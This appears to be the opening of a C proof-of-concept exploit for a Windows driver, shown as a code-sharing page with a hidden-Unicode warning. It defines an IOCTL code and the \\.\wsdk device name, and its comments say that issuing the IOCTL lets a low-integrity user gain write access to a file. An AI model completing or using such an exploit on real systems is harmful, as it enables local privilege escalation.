This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// exploitation will require issuing the described IOCTL | |
// once complete, a low integrity user may obtain write-privileges to the file | |
// by re-opening with CreateFileA / NtCreateFile | |
#include <Windows.h> | |
#include <stdio.h> | |
#define IOCTL_WAV_CREATE_FILE 0x80002004 | |
const char* g_DeviceName = R"(\\.\wsdk)"; |